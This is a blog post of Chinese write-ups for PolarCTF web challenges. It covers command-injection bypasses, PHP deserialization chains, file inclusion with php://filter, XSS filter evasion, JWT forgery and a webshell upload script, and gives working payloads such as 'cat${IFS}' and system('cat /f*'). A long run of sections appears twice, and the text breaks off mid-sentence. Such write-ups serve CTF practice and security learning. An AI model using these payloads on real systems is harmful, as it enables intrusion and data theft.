Polar-web简单

swp

打开环境

img

直接访问到/.index.php.swp

img

最大回溯上限绕过preg_match

import requests

url = 'http://7ca655bb-4a02-4c3a-b560-aa8f82601bab.www.polarctf.com:8090/'
data = {
    'xdmtql': 'sys nb'+'very' * 250000
}
r = requests.post(url=url, data=data).text
print(r)

img

简单rce

打开题目img

过滤了空格,可以联想到用include直接包含/flag

nullimg

蜜雪冰城吉警店

发现id从1到8,没有9,根据提醒在element里面将任意一个id改成9再点击imgimg

召唤神龙

打开发现是个小游戏

img

直接view-source查看源代码

img

看到main.js文件img

js解密

nullimg

nullimg

seek flag

打开靶场

img

先看看源码

img

访问/robots.txt拿到第三段flagimg

抓包看到id=0

img

改成id=1,找到flag1

nullimg

响应包看到flag2

img

jwt

打开环境,是一个登录页面

img 一眼垂直越权,先注册一个普通用户,然后jwt伪造成功以admin登录

img

null jwt-cracker爆破出密钥为SYSA

img

然后jwt伪造

img

login

打开发现是一个登录页面

img

查看源代码

img

发现账号密码都是20200101

img

只有登录成功,没有其他的东西,试试20200102,看到了f

img

那就直接爆破拼flag了

img

iphone

img

什么都没有

img

查看源码发现改UA

img

抓包改一下即可

img

浮生日记

进去一看img

有一个填空框,查看源码可以看到题目要求img 结合题目名字,合理可以想到js注入img

发现替换了script为空,然后赋值给value img

显然可以先闭合value,然后独立出一个script执行恶意代码

"><scrscriptipt>alert(1)</scrscriptipt>

img

$$

img

直接$GLOBALS读全局变量就可 img

爆破

img

    if(substr($pass, 1,1)===substr($pass, 14,1) && substr($pass, 14,1) ===substr($pass, 17,1)){ ... }:这行代码检查经过 MD5 加密后的字符串的特定位置的字符是否相同。具体地,它检查字符串的第 2、15 和 18 个字符是否相同。如果这三个位置的字符相同,则执行内部代码块。 

if((intval(substr($pass, 1,1))+intval(substr($pass, 14,1))+substr($pass, 17,1))/substr($pass, 1,1)===intval(substr($pass, 31,1))){ ... }:这行代码对特定位置的字符进行处理,并将它们转换为整数进行计算。具体地,它计算字符串的第 2、15 和 18 个字符的整数值相加,然后除以第 2 个字符的整数值,并检查结果是否等于字符串的第 32 个字符的整数值。如果相等,则执行内部代码块。

imgimg

XFF

img

抓包改ip

img

img

rce1

过滤空格,用${IFS}绕过即可

img

;ls

img

;cat${IFS}fllllaaag.php

img

查看源码

img

GET-POST

img

正常传参就行

imgimg

被黑掉的站

img

提示站里还有马

img

扫出来index.php.bak和shell.php

img

img

应该是爆破了imgimg

签到题

查看源代码img

抓个包看看

img

承认是弟弟,那就改成yes试试img

base64解码

img

得到个页面,访问进去

img

替换为空双写绕过即可

/data/index.php?file=php://filter/convert.base64-encode/resource=..././..././..././..././flagimgimg

签到

img

提交键不能点,按F12修改一下前端页面img

看到提示

img

发现写不上去,有长度限制img

继续看前端代码,把maxlength放大

img

img

session文件包含

打开题目查看是一个输入框

img

抓包看见ssid

img

点击mydirectory,回显如下 img

查看源码

img

似乎可以任意文件包含,尝试读文件

?file=php://filter/convert.base64-encode/resource=action.php

img

img

是一个php代码,session文件名的构造是sess_ + sessionid , sessionid在cookie中可以查看

?file=/tmp/sess_5i8qqm7jda7ansdpaj3bqg64u0

name=

img

img

Don't touch me

img

查看源码img

访问

img

img

img

img

robots

根据提示

img

img

直接访问得到flagimg

php very nice

img

PHP反序列化

O:7:"Example":1:{s:3:"sys";s:13:"system('ls');";} img

回显了flag.php

O:7:"Example":1:{s:3:"sys";s:69:"include('php://filter/read=convert.base64-encode/resource=flag.php');";}

ezupload

简单的文件上传img

抓包修改成image/gif

img

蚁剑连接

img

cookie欺骗

img

抓包cookie改user=admin即可

img

upload

img

随便上传一个php文件,发现直接拿掉了后缀,不对其作为php文件进行解析 img

试试双写绕过

img

蚁剑连接

img

干正则

img

jwt

打开环境,是一个登录页面

img 一眼垂直越权,先注册一个普通用户,然后jwt伪造成功以admin登录

img

null jwt-cracker爆破出密钥为SYSA

img

然后jwt伪造

img

login

打开发现是一个登录页面

img

查看源代码

img

发现账号密码都是20200101

img

只有登录成功,没有其他的东西,试试20200102,看到了f

img

那就直接爆破拼flag了

img

iphone

img

什么都没有

img

查看源码发现改UA

img

抓包改一下即可

img

浮生日记

进去一看img

有一个填空框,查看源码可以看到题目要求img 结合题目名字,合理可以想到js注入img

发现替换了script为空,然后赋值给value img

显然可以先闭合value,然后独立出一个script执行恶意代码

"><scrscriptipt>alert(1)</scrscriptipt>

img

$$

img

直接$GLOBALS读全局变量就可 img

爆破

img

    if(substr($pass, 1,1)===substr($pass, 14,1) && substr($pass, 14,1) ===substr($pass, 17,1)){ ... }:这行代码检查经过 MD5 加密后的字符串的特定位置的字符是否相同。具体地,它检查字符串的第 2、15 和 18 个字符是否相同。如果这三个位置的字符相同,则执行内部代码块。 

if((intval(substr($pass, 1,1))+intval(substr($pass, 14,1))+substr($pass, 17,1))/substr($pass, 1,1)===intval(substr($pass, 31,1))){ ... }:这行代码对特定位置的字符进行处理,并将它们转换为整数进行计算。具体地,它计算字符串的第 2、15 和 18 个字符的整数值相加,然后除以第 2 个字符的整数值,并检查结果是否等于字符串的第 32 个字符的整数值。如果相等,则执行内部代码块。

imgimg

XFF

img

抓包改ip

img

img

rce1

过滤空格,用${IFS}绕过即可

img

;ls

img

;cat${IFS}fllllaaag.php

img

查看源码

img

GET-POST

img

正常传参就行

imgimg

被黑掉的站

img

提示站里还有马

img

扫出来index.php.bak和shell.php

img

img

应该是爆破了imgimg

签到题

查看源代码img

抓个包看看

img

承认是弟弟,那就改成yes试试img

base64解码

img

得到个页面,访问进去

img

替换为空双写绕过即可

/data/index.php?file=php://filter/convert.base64-encode/resource=..././..././..././..././flagimgimg

签到

img

提交键不能点,按F12修改一下前端页面img

看到提示

img

发现写不上去,有长度限制img

继续看前端代码,把maxlength放大

img

img

session文件包含

打开题目查看是一个输入框

img

抓包看见ssid

img

点击mydirectory,回显如下 img

查看源码

img

似乎可以任意文件包含,尝试读文件

?file=php://filter/convert.base64-encode/resource=action.php

img

img

是一个php代码,session文件名的构造是sess_ + sessionid , sessionid在cookie中可以查看

?file=/tmp/sess_5i8qqm7jda7ansdpaj3bqg64u0

name=

img

img

Don't touch me

img

查看源码img

访问

img

img

img

img

robots

根据提示

img

img

直接访问得到flagimg

php very nice

img

PHP反序列化

O:7:"Example":1:{s:3:"sys";s:13:"system('ls');";} img

回显了flag.php

O:7:"Example":1:{s:3:"sys";s:69:"include('php://filter/read=convert.base64-encode/resource=flag.php');";}

ezupload

简单的文件上传img

抓包修改成image/gif

img

蚁剑连接

img

cookie欺骗

img

抓包cookie改user=admin即可

img

upload

img

随便上传一个php文件,发现直接拿掉了后缀,不对其作为php文件进行解析 img

试试双写绕过

img

蚁剑连接

img

一眼一个变量覆盖,然后flag.php的正则也形同虚设,可以用通配之类的绕过,无回显的shell_exec也直接echo了

?id=a[0]=www.polarctf.com&cmd=;tac f*

img

cool

img

?a=passthru('cat f*');

img

uploader

img

纯纯的无过滤文件上传,还回显路径

用py写个文件上传脚本

import requests
 
url = 'http://ca32eb68-d654-4b69-a982-eaf7d23d5242.www.polarctf.com:8090/'  # 替换成你的服务器地址
 
files = {'file': open('D:\CTF\码\yjh3.php', 'rb')}  # 将文件名替换为你想上传的文件
 
response = requests.post(url, files=files)
 
if response.status_code == 200:
    print("文件上传成功!")
    print("服务器返回的消息:", response.text)
else:
    print("文件上传失败!")
    print("错误码:", response.status_code)

img

拿到$sandbox和filename,拼接得到文件路径

http://c7a1e49d-3dab-41d5-b49a-a03e88aa85c4.www.polarctf.com:8090/d3bccac3aac5b1a98b69c237322df177/shell.php

img

覆盖

img

一模一样的题

?id=a[0]=www.polarctf.com&cmd=;tac f*img

PHP反序列化初试

一眼出链子

Easy.__wakeup -> Evil.__toString

注意这里的shell_exec也是echo给了回显

<?php
  class Easy{
  public $name;
  }
  class Evil{
    public $evil;
public $env;
}

$b=new Evil();
$a=new Easy();
$a->name=$b;
$b->evil="tac f*";
echo serialize($a);

?>
O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:6:"tac f*";s:3:"env";N;}}

img

机器人

img

访问/robots.txt

img

继续访问/27f5e15b6af3223f1176293cd015771d
使用dirsearch探测文件,探测到flag.php

img

扫扫看

img

用dirsearch扫一下看看

img

访问flag.php

img

查看源码

img

debudao

查看源码img

发现flag不对,抓包看看img

解码

img

审计

img

md5的0e绕过0e215962017

img

upload1

img

不允许php上传

img

那就把后缀改了,然后抓包

img

img

蚁剑连接

img

rapyiquan

img

绕过?c.md=ta\c /fl\ag.php

img

bllbl_ser1

img

<?php
class bllbl
{
    public $qiang;//我的强
}
class bllnbnl{
    public $er;//我的儿
}
 
$b=new bllbl();
$a=new bllnbnl();
$a->er="system('cat /f*');";
$b->qiang=$a;
echo serialize($b);
?blljl=O:5:"bllbl":1:{s:5:"qiang";O:7:"bllnbnl":1:{s:2:"er";s:18:"system('cat /f*');";}}

img

1ncIud3

img

dirsearch扫一下img

扫到flag目录img

可以知道page=flag与flag.php是一样的效果

根据提示include把i变成1,e变成3,所以flag可能变成fla9,f1ag,fl4g

?page=..././..././f1a9

img

投喂

img

<?php
class User
{
    public $username;
    public $is_admin;
}
 
$a=new User();
$a->is_admin=true;
echo serialize($a);
data=O:4:"User":2:{s:8:"username";N;s:8:"is_admin";b:1;}

img

狗黑子的RCE

img

会吧gouheizi替换为空,双写绕过

img

img

button

img

一个小游戏,鼠标快点到的时候会跑,查看源码

img

img

访问目录即可

img

井字棋

img

一个小游戏,平局和输都不会出现flag,抓包看看

img

把ai改成玩家img

简单的导航站

题目打开之后,是一个导航

img

先注册一个账号

img

查看用户列表

img

md5绕过user1[]=1&user2[]=2

img

在首页发现一个密码

img

用bp爆破

img

找到管理员账号密码

img

文件上传

img

爆破flag

img

来个弹窗

img

看题目应该是XSS

用img标签绕过即可,<IMG SRC=JaVaScRiPt:alert(‘XSS’)>

<scr<script>ipt>alert("XSS")</scr<script>ipt>

img

background

就一个按钮

img

查看源码发现js文件img

有乱码,抓包看看

img

fetch是一个用于发送网络请求的功能,它返回一个Promise,表示请求的结果,method是请求方式,body是要发送到服务器的数据

new URLSearchParams创建一个新的 URLSearchParams 对象,允许你以表单的格式编码数据。大括号内的就是表单内容,d是echo,p是I will do it!,看起来就像是一个命令执行,我们尝试修改d和p的值来进行命令执行,post方式在change_background.php路由下传入b和p的值

img

img

0e事件

img

img

根据题目来看,应该是0e绕过0e215962017

img

简单的链子

img

这段PHP代码存在反序列化漏洞和命令执行漏洞。

代码直接使用unserialize()函数处理用户输入($_GET['data']),而没有进行任何过滤或验证。可以构造恶意的序列化对象,当该对象被反序列化时,会实例化类A并设置$cmd属性为任意命令。

由于析构函数会自动执行system($this->cmd),这将导致任意命令执行。析构函数中的system($this->cmd)允许执行任意系统命令。攻击者通过控制$cmd属性的值,可以执行恶意命令。

构造恶意序列化对象

对其进行URL编码后发送请求,得到的响应如图所示:

O%3A1%3A%22A%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D

img

ghost_render

img

此页面为Markdown渲染平台,可以上传md文档。此题考查务端模板注入(SSTI) 恶意文件上传绕过

上传功能允许用户提交Markdown文件(.md),但后端会检测内容是否包含危险标签(如

posted @ 2025-07-23 17:33  淡云晨光  阅读(79)  评论(0)    收藏  举报